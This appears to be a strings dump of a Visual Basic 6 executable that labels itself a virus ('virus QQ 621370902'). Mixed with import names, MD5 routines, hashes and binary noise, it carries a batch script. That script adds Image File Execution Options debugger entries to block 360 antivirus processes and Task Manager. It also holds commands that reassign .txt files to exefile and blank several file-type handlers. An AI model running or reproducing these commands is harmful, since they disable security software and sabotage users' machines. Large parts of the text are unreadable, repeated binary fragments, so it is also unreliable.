EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
9D183D4775C8E88961F4247B02E71E01
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
8873414D6F5B75AB87F38154C7B905CF
EEBF93AC4FEB29C8F93383A09026893C
D38CC0184E669F995CA57A9F446F0F1E
6C5692E410E692EEC72ED9822D257322
7B211DCB9A85583BF7B5E1411CF1ADB5
A54271D3E3C0AE4E2FA1CD08057AFF28
2A2DB07799940A3E62BE9E208B882E59
E7A7BAA2752FC748DC8B255AA896FB6D
5801C8F9643570E4AEA723E2860D6A20
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
